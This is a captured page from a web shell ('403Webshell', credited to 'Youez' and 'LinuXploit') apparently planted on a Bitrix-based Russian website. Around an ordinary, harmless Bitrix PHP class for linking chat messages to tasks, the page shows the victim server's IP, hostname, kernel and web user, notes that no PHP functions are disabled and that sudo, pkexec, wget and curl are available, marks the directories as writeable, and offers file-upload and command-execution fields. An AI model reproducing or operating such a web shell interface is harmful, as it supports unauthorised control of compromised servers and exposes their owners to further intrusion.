403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Link/Task/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/im/lib/V2/Link/Task/TaskCollection.php
<?php

namespace Bitrix\Im\V2\Link\Task;

use Bitrix\Im\Model\LinkTaskTable;
use Bitrix\Im\V2\Entity\EntityCollection;
use Bitrix\Im\V2\Link\BaseLinkCollection;
use Bitrix\Im\V2\MessageCollection;
use Bitrix\Im\V2\Service\Context;
use Bitrix\Im\V2\Service\Locator;
use Bitrix\Tasks\Internals\SearchIndex;
use Bitrix\Tasks\Provider\TaskList;
use Bitrix\Tasks\Provider\TaskQuery;

/**
 * @implements \IteratorAggregate<int,TaskItem>
 * @method TaskItem offsetGet($key)
 */
class TaskCollection extends BaseLinkCollection
{
	public const SELECT_FIELDS = [
		'ID',
		'TITLE',
		'REAL_STATUS',
		'DEADLINE',
		'CREATED_BY',
		'RESPONSIBLE_ID',
		'CREATED_DATE',
		'IM_CHAT_ID',
		'IM_CHAT_MESSAGE_ID',
		'IM_CHAT_CHAT_ID',
		'IM_CHAT_AUTHOR_ID',
	];

	protected ?EntityCollection $entities = null;

	public static function getCollectionElementClass(): string
	{
		return TaskItem::class;
	}

	public static function initByTaskQuery(TaskQuery $taskQuery): self
	{
		$tasksArray = (new TaskList())->getList($taskQuery);

		$linkCollection = new static();

		foreach ($tasksArray as $row)
		{
			$linkCollection->add(TaskItem::initByRow($row));
		}

		return $linkCollection;
	}

	public static function find(
		array $filter,
		array $order = ['ID' => 'DESC'],
		?int $limit = null,
		?Context $context = null
	): self
	{
		$context = $context ?? Locator::getContext();

		$taskQuery = new TaskQuery($context->getUserId());

		$taskOrder = [];
		if (isset($order['ID']))
		{
			$taskOrder['IM_CHAT_ID'] = $order['ID'];
		}

		$taskFilter = static::processFilters($filter, $taskOrder);

		$taskQuery
			->setSelect(static::SELECT_FIELDS)
			->setOrder($taskOrder)
			->setWhere($taskFilter)
		;

		if (isset($limit))
		{
			$taskQuery->setLimit($limit);
		}

		return static::initByTaskQuery($taskQuery);
	}

	protected static function processFilters(array $filter, array $order): array
	{
		$result = [];

		if (isset($filter['CHAT_ID']))
		{
			$result['IM_CHAT_CHAT_ID'] = (int)$filter['CHAT_ID'];
		}
		if (isset($filter['USER_ID']))
		{
			$usersIds = $filter['USER_ID'];
			if (!empty($usersIds))
			{
				$result['::SUBFILTER-MEMBER'] = [
					'::LOGIC' => 'OR',
					'CREATED_BY' => $usersIds,
					'RESPONSIBLE_ID' => $usersIds,
					'ACCOMPLICE' => $usersIds,
					'AUDITOR' => $usersIds,
				];
			}
		}
		if (isset($filter['DATE_FROM']))
		{
			$result['>=CREATED_DATE'] = $filter['DATE_FROM'];
		}
		if (isset($filter['DATE_TO']))
		{
			$result['<=CREATED_DATE'] = $filter['DATE_TO'];
		}
		if (isset($filter['SEARCH_TASK_NAME']))
		{
			$result['::SUBFILTER-FULL_SEARCH_INDEX'] = [
				'*FULL_SEARCH_INDEX' => SearchIndex::prepareStringToSearch($filter['SEARCH_TASK_NAME'])
			];
		}
		if (isset($filter['LAST_ID']))
		{
			$operator = '<';
			if (isset($order['IM_CHAT_ID']) && $order['IM_CHAT_ID'] === 'ASC')
			{
				$operator = '>';
			}
			$result["{$operator}IM_CHAT_ID"] = (int)$filter['LAST_ID'];
		}

		return $result;
	}

	public static function getByMessages(MessageCollection $messages): self
	{
		$chatTasks = LinkTaskTable::query()
			->setSelect(['ID', 'MESSAGE_ID', 'CHAT_ID', 'TASK_ID', 'AUTHOR_ID', 'DATE_CREATE'])
			->whereIn('MESSAGE_ID', $messages->getIds())
			->fetchCollection()
		;

		return new static($chatTasks);
	}

	public function getEntities(): EntityCollection
	{
		if (isset($this->entities))
		{
			return $this->entities;
		}
		$this->entities = \Bitrix\Im\V2\Entity\Task\TaskCollection::getByIds($this->getEntityIds());

		return $this->entities;
	}

	public function fillEntities(): self
	{
		$entities = $this->getEntities();

		foreach ($this as $task)
		{
			$id = $task->getEntityId();
			if (!isset($id) || ($entities->getById($id) === null))
			{
				continue;
			}

			$task->setEntity($entities->getById($id));
		}

		return $this;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit